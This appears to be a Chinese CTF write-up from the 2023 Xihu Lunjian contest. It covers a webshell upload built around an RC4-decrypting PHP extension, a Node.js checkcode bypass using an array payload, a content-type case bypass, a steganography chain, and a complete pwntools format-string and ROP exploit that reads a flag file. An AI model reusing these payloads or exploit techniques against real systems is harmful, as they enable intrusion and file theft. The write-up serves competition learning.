2023西湖论剑-(部分)WP

2023西湖论剑-(部分)WP

题目一名称:

unusual php

  1. 打开贴出了源码

发现可以文件上传然后直接上传php

发现提示错误 php没有解析成功

然后读取index.php 发现乱码

猜测后端处理应该有解密的操作,

在 上传文件时候贴上读取的index.php 解析正常 验证了猜想

然后在后面补充任意字符换行最后报错提示了/tmp/fuck.php

然后寻找加密猜测应该是有依赖通过对/proc/self/maps读取发现了

然后把zend_test.so 下载下来逆向分析

发现处理原理,解析时候先把文件读取然后rc4解密写入缓存文件/tmp/fuck.php (必须包含php字符串)

还有密匙直接构造一个加密的webshell上传

成功解析shell

然后读取/flag发现权限不足

测试后发现可以执行chmod

然后直接给flag权限然后读取

sudo chmod 777 flag

题目二名称:Node Magical Login

  1. flag1 直接修改cookie附带user=admin然后查看响应头
  2. 然后想办法得到flag2
 
  1. function CheckController(req,res) {
  2. let checkcode = req.body.checkcode?req.body.checkcode:1234;
  3. console.log(req.body)
  4. if(checkcode.length === 16){
  5. try{
  6. checkcode = checkcode.toLowerCase()
  7. if(checkcode !== "aGr5AtSp55dRacer"){
  8. res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
  9. }
  10. }catch (__) {}
  11. res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
  12. }else{
  13. res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
  14. }
  15. }

发现 只要触发异常就可以得到flag

根据参数解析的库得到穿个数组就可以触发

 
  1. checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1&checkcode=1

题目三名称:扭转乾坤

直接上传文件提示:禁止 multipart/form-data 类型 然后测试后发现 直接大小写替换成功返回flag

:407a13a21a6b85b1236b003479468c82

一 题目描述

二 解题步骤

1.分析文件

(1)放入Audacity中查看频谱信息无果

(2)010editor中查看文件结构

 文件尾部存在PNG文件尾,搜索png文件头

将该png文件复制提取出来,得到cipher_50CFEh_2FEh.png

有点像二维码,甚至Google到了图片降噪

2. 分析png

使用zsteg查看是否存在lsb信息

 明显看到存在一个zip压缩数据内容。

1

zsteg -E 'b1,r,lsb,xy'  cipher_50CFEh_2FEh.png > c1.zip<br>#该方式提取出来的zip打开会报错,按照zsteg显示的信息使用stegsolve提取一下

 

 保存后就可以正常打开了,得到一个带密码的压缩包

注:不是伪加密

3.分析zip

密码信息想到一个MP3音频隐写工具  MP3Steno.将cipher.mp3放到工具目录下使用GUI界面解密或者命令行提取都行。

 

 得到

 解压成功得到47.txt

4.分析txt

1

2lO,.j2lL000iZZ2[2222iWP,.ZQQX,2.[002iZZ2[2020iWP,.ZQQX,2.[020iZZ2[2022iWLNZQQX,2.[2202iW2,2.ZQQX,2.[022iZZ2[2220iWPQQZQQX,2.[200iZZ2[202iZZ2[2200iWLNZQQX,2.[220iZZ2[222iZZ2[2000iZZ2[2002iZZ2Nj2]20lW2]20l2ZQQX,2]202.ZW2]02l2]20,2]002.XZW2]22lW2]2ZQQX,2]002.XZWWP2XZQQX,2]022.ZW2]00l2]20,2]220.XZW2]2lWPQQZQQX,2]002.XZW2]0lWPQQZQQX,2]020.XZ2]20,2]202.Z2]00Z2]02Z2]2j2]22l2]2ZWPQQZQQX,2]022.Z2]00Z2]0Z2]2Z2]22j2]2lW2]000X,2]20.,2]20.j2]2W2]2W2]22ZQ-QQZ2]2020ZWP,.ZQQX,2]020.Z2]2220ZQ--QZ2]002Z2]220Z2]020Z2]00ZQW---Q--QZ2]002Z2]000Z2]200ZQ--QZ2]002Z2]000Z2]002ZQ--QZ2]002Z2]020Z2]022ZQ--QZ2]002Z2]000Z2]022ZQ--QZ2]002Z2]020Z2]200ZQ--QZ2]002Z2]000Z2]220ZQLQZ2]2222Z2]2000Z2]000Z2]2002Z2]222Z2]020Z2]202Z2]222Z2]2202Z2]220Z2]2002Z2]2002Z2]2202Z2]222Z2]2222Z2]2202Z2]2022Z2]2020Z2]222Z2]2220Z2]2002Z2]222Z2]2020Z2]002Z2]202Z2]2200Z2]200Z2]2222Z2]2002Z2]200Z2]2022Z2]200ZQN---Q--QZ2]200Z2]000ZQXjQZQ-QQXWXXWXj

 

像是某种编码,通过文件名47,联想到  ROT47

 得到另外一串编码,该编码像是js代码变量拼接输出了一些东西,直接F12控制台输出。

 

PWN:

Message Board

from pwn import *


 

context(arch='amd64',log_level='debug')

io = process('./pwn')

io = remote('tcp.cloud.dasctf.com',28345)

libc = ELF('./libc.so.6')

io.recvuntil('name:')

pay = f'%{6+0x19}$p%p'

io.send(pay)

io.recvuntil('Hello, ')

__libc_start_main_128 = int(io.recv(len('0x7efe283c8e40')),16)

stack= int(io.recv(len('0x7efe283c8e40')),16)

log.success(str(__libc_start_main_128))

libc_base = __libc_start_main_128 - 243  - libc.sym['__libc_start_main']

log.success('libc_base:'+hex(libc_base))

log.success('stack:'+hex(stack))

rop= ROP('./libc.so.6')


 

pop_rax = libc_base + rop.find_gadget(['pop rax','ret'])[0]

pop_rsi = libc_base + rop.find_gadget(['pop rsi','ret'])[0]

pop_rdi = libc_base + rop.find_gadget(['pop rdi','ret'])[0]

syscall_ret = libc_base + rop.find_gadget(['syscall','ret'])[0]

#ROPgadget --binary ./libc.so.6 --only "pop|ret"|grep rdx

padb = libc_base +0x000000000015f8c5 # pop rax ; pop rdx ; pop rbx ; ret

log.success(hex(pop_rax))

log.success(hex(pop_rsi))

log.success(hex(pop_rdi))

ret = 0x4013A3

orw_pay = p64(ret)*8 +flat([

    0x0067616c662f,

    padb,

    2,

    0,

    0,

    pop_rsi,

    0,

    pop_rdi,

    stack+0x50,

    syscall_ret,

    pop_rdi,

    3,

    pop_rsi,

    stack+0x50,

    padb,

    0,

    0x40,

    0,

    syscall_ret,

    pop_rax,

    1,

    pop_rdi,

    1,

    syscall_ret

    ])


 

read_pay =  flat([

    pop_rdi,

    0,

    pop_rsi,

    stack+0x10,

    padb,

    0,

    0x100,

    0,

    syscall_ret

    ])


 

print(hex(len(orw)))

io.recvuntil('DASCTF:')

payload = read_pay.ljust(0xb0,b'\x00') +p64(stack + 0x8) + p64(0x4013A2)

io.send(payload)

io.interactive()

io.send(orw_pay)

# Ctrl + c

io.interactive()

 

  • 8
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值